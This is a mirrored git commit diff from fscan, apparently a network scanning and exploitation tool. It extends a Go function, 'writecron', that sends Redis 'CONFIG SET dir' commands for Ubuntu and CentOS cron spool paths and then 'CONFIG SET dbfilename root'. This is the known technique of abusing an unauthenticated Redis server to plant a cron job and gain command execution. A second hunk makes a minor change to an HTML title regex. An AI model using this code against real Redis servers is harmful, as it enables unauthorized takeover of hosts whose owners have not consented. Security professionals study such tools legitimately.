mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-07-13 21:02:44 +08:00
Merge remote-tracking branch 'origin/main'
This commit is contained in:
commit
a11b769603
@ -221,6 +221,17 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
|
|
||||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
|
// 尝试写入Ubuntu的路径
|
||||||
|
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
|
||||||
|
if err != nil {
|
||||||
|
return flag, text, err
|
||||||
|
}
|
||||||
|
text, err = readreply(conn)
|
||||||
|
if err != nil {
|
||||||
|
return flag, text, err
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "OK") {
|
||||||
|
// 如果没有返回"OK",可能是CentOS,尝试CentOS的路径
|
||||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
@ -229,6 +240,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
@ -197,7 +197,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func gettitle(body []byte) (title string) {
|
func gettitle(body []byte) (title string) {
|
||||||
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
|
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||||
find := re.FindSubmatch(body)
|
find := re.FindSubmatch(body)
|
||||||
if len(find) > 1 {
|
if len(find) > 1 {
|
||||||
title = string(find[1])
|
title = string(find[1])
|
||||||
|
Loading…
Reference in New Issue
Block a user